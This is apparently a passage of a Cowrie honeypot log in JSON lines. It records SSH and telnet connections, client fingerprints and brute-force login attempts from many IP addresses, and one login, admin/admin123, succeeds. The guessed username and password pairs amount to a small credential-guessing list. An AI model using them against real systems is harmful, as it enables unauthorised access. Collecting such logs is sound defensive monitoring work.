{"eventid":"cowrie.login.failed","username":"root","password":"misha","message":"login attempt [root/misha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:27.115360Z","src_ip":"46.19.67.181","session":"63c12fd9b652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:28.247225Z","src_ip":"46.19.67.181","session":"63c12fd9b652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.315834760665894,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:28.651604Z","src_ip":"192.119.13.58","session":"483705ae703b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":25965,"dst_ip":"10.17.0.5","dst_port":22,"session":"71457eed656d","protocol":"ssh","message":"New connection: 201.249.192.30:25965 (10.17.0.5:22) [session: 71457eed656d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:31.312580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:31.317268Z","src_ip":"201.249.192.30","session":"71457eed656d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:31.390017Z","src_ip":"201.249.192.30","session":"71457eed656d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Heslo321","message":"login attempt [root/Heslo321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:31.887854Z","src_ip":"201.249.192.30","session":"71457eed656d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45446,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b8f4dd48df2","protocol":"telnet","message":"New connection: 192.119.13.58:45446 (10.17.0.5:23) [session: 1b8f4dd48df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:32.306613Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:32.963648Z","src_ip":"201.249.192.30","session":"71457eed656d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38462,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92d36dd74d9","protocol":"telnet","message":"New connection: 192.119.13.58:38462 (10.17.0.5:23) [session: e92d36dd74d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:36.296914Z"}
{"eventid":"cowrie.session.closed","duration":46.60173773765564,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:36.468817Z","src_ip":"192.119.13.58","session":"f0377268bfec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.98316669464111,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:36.641804Z","src_ip":"192.119.13.58","session":"e58053eccd4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.57560706138611,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:39.793813Z","src_ip":"192.119.13.58","session":"36fc4c03e200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":60018,"dst_ip":"10.17.0.5","dst_port":22,"session":"0967be4c1f19","protocol":"ssh","message":"New connection: 40.83.182.122:60018 (10.17.0.5:22) [session: 0967be4c1f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:40.794250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:40.799176Z","src_ip":"40.83.182.122","session":"0967be4c1f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:40.876817Z","src_ip":"40.83.182.122","session":"0967be4c1f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adriano","message":"login attempt [root/adriano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:41.219762Z","src_ip":"40.83.182.122","session":"0967be4c1f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.754560947418213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:41.364742Z","src_ip":"192.119.13.58","session":"9850577ffefa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:42.300869Z","src_ip":"40.83.182.122","session":"0967be4c1f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.33494305610657,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:44.903699Z","src_ip":"192.119.13.58","session":"f01ac67c0f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43030,"dst_ip":"10.17.0.5","dst_port":23,"session":"a16a2c604b77","protocol":"telnet","message":"New connection: 192.119.13.58:43030 (10.17.0.5:23) [session: a16a2c604b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:44.979533Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:45.443561Z","src_ip":"116.110.11.66","session":"83bc35aab554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33790,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c4100338ebd","protocol":"telnet","message":"New connection: 192.119.13.58:33790 (10.17.0.5:23) [session: 3c4100338ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:48.310147Z"}
{"eventid":"cowrie.session.closed","duration":43.313819885253906,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:50.874762Z","src_ip":"192.119.13.58","session":"1c2353025faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50114,"dst_ip":"10.17.0.5","dst_port":23,"session":"a339059e8f5e","protocol":"telnet","message":"New connection: 192.119.13.58:50114 (10.17.0.5:23) [session: a339059e8f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:52.243762Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":38013,"dst_ip":"10.17.0.5","dst_port":22,"session":"19d1d07e7d2c","protocol":"ssh","message":"New connection: 115.68.226.124:38013 (10.17.0.5:22) [session: 19d1d07e7d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:54.581152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:54.586126Z","src_ip":"115.68.226.124","session":"19d1d07e7d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:54.787428Z","src_ip":"115.68.226.124","session":"19d1d07e7d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"musicbot","message":"login attempt [root/musicbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:55.622864Z","src_ip":"115.68.226.124","session":"19d1d07e7d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40082,"dst_ip":"10.17.0.5","dst_port":23,"session":"25896c5a3b29","protocol":"telnet","message":"New connection: 192.119.13.58:40082 (10.17.0.5:23) [session: 25896c5a3b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:56.703646Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:56.823613Z","src_ip":"115.68.226.124","session":"19d1d07e7d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49118,"dst_ip":"10.17.0.5","dst_port":23,"session":"4250cf18a533","protocol":"telnet","message":"New connection: 192.119.13.58:49118 (10.17.0.5:23) [session: 4250cf18a533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:59.890153Z"}
{"eventid":"cowrie.session.closed","duration":39.0580940246582,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:00.781905Z","src_ip":"192.119.13.58","session":"f8e536c3450c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37988,"dst_ip":"10.17.0.5","dst_port":23,"session":"4baafad5b73b","protocol":"telnet","message":"New connection: 192.119.13.58:37988 (10.17.0.5:23) [session: 4baafad5b73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:02.877645Z"}
{"eventid":"cowrie.session.closed","duration":31.786805629730225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:04.093197Z","src_ip":"192.119.13.58","session":"1b8f4dd48df2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":38508,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf1c82a80c4","protocol":"ssh","message":"New connection: 193.39.208.26:38508 (10.17.0.5:22) [session: cdf1c82a80c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:05.116385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:05.122511Z","src_ip":"193.39.208.26","session":"cdf1c82a80c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:05.205891Z","src_ip":"193.39.208.26","session":"cdf1c82a80c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:05.576438Z","src_ip":"193.39.208.26","session":"cdf1c82a80c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:06.664918Z","src_ip":"193.39.208.26","session":"cdf1c82a80c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.798216819763184,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:09.095010Z","src_ip":"192.119.13.58","session":"e92d36dd74d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"48.5","message":"Connection lost after 48.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:09.300763Z","src_ip":"116.110.11.66","session":"83bc35aab554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47634,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8cc56d3907e","protocol":"telnet","message":"New connection: 192.119.13.58:47634 (10.17.0.5:23) [session: d8cc56d3907e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:12.281092Z"}
{"eventid":"cowrie.session.closed","duration":48.925883531570435,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:12.966832Z","src_ip":"192.119.13.58","session":"2d509be6b8c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39908,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e43130c98f9","protocol":"telnet","message":"New connection: 192.119.13.58:39908 (10.17.0.5:23) [session: 5e43130c98f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:17.228275Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40178,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a96f1961f36","protocol":"telnet","message":"New connection: 192.119.13.58:40178 (10.17.0.5:23) [session: 4a96f1961f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:17.306262Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":60332,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad6a4ff3b47b","protocol":"ssh","message":"New connection: 103.164.9.74:60332 (10.17.0.5:22) [session: ad6a4ff3b47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:18.298260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:18.307193Z","src_ip":"103.164.9.74","session":"ad6a4ff3b47b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:18.516042Z","src_ip":"103.164.9.74","session":"ad6a4ff3b47b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46462,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f6e269cb241","protocol":"telnet","message":"New connection: 192.119.13.58:46462 (10.17.0.5:23) [session: 3f6e269cb241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:18.815332Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jsu","message":"login attempt [root/jsu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:19.385350Z","src_ip":"103.164.9.74","session":"ad6a4ff3b47b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82498502731323,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:19.804363Z","src_ip":"192.119.13.58","session":"a16a2c604b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:20.600034Z","src_ip":"103.164.9.74","session":"ad6a4ff3b47b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56272,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbf25dc6e41","protocol":"telnet","message":"New connection: 192.119.13.58:56272 (10.17.0.5:23) [session: dfbf25dc6e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:21.275952Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58984,"dst_ip":"10.17.0.5","dst_port":23,"session":"dba96cb7a585","protocol":"telnet","message":"New connection: 192.119.13.58:58984 (10.17.0.5:23) [session: dba96cb7a585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:28.834787Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":34240,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef2cef5b12a7","protocol":"ssh","message":"New connection: 45.78.204.254:34240 (10.17.0.5:22) [session: ef2cef5b12a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:28.978085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:28.982264Z","src_ip":"45.78.204.254","session":"ef2cef5b12a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyA